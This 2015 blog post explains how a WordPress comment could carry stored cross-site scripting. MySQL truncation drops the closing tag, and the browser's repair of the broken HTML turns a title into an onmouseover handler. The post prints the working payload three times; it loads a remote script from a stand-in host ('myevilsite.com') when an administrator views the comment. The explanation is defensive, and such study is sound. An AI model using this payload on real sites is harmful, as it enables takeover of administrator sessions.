I thought the Wordpress XSS vulnerability was an interesting one. I thought I'd attempt to walk through how I understand it to work.
On the comments section of any WordPress blog, a visitor can add a comment to the blog. Wordpress is actually correctly validating the input and sanitizing for XSS (Cross-Site Scripting) vulnerabilities. So what's the issue?
It's more of a quirk in the combination of how the MySql database was setup and how browsers handle malformed html.
1.) First if the comment being entered is too long, the MySql database field holding the comment cannot fit the entire comment and ends up truncating it, and actually chopping off the closing </a> tag
2.) Second, because that </a> tag was now truncated, when an Administrator views the comment for moderation (to approve or reject it) the browser will now attempt to display malformed HTML (an opening <a> tag without a closing one). Now most modern browsers don't reject malformed HTML, instead they try to automatically fix it for you. How Nice!
So if you enter your malicious comment and hit submit
<a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAA...(tons of A's up to 65k bytes)....AAAAA' href="http://www.google.com">my link to google</a>
WordPress correctly validates that it's an ok a tag ... it's a super ugly title, but titles don't matter and can't be executed, so in the end this is just a valid link to google.com. But then WordPress saves this comment to their MySql database.
If you were to look in the WordPress database it would look something like this (it adds a paragraph tag around the text you entered too)....
<P><a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAAAAAAaa</P>
Notice that a bunch of the A's as well as the closing portion of the </a> tag are now missing because of the MySQL truncation issue.
So when the Administrator goes to view this comment for moderation, the browser actually tries to fix the broken code with something like below.
<a title='xxx' onmouseover='eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px' p='AAAAAAAAAAAAAAAAA'></a>
Notice that it so nicely decided to split my harmless title out where it found whitespace and turn it into an onmouseover event.
It's important to point out here XSS is a 2-way street. You cannot simply validate the user input as it's coming in and getting saved. You also need to validate/sanitize user input after it's pulled from a data source and before it's displayed on the screen. I've blogged about this input validation topic before, as it's very similar to the concept of importing data in from another system or 3rd party source and then displaying it on your website. Don't trust it.
Oh my, XSS is really bad no matter what shape or form it comes in! Take it seriously!
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.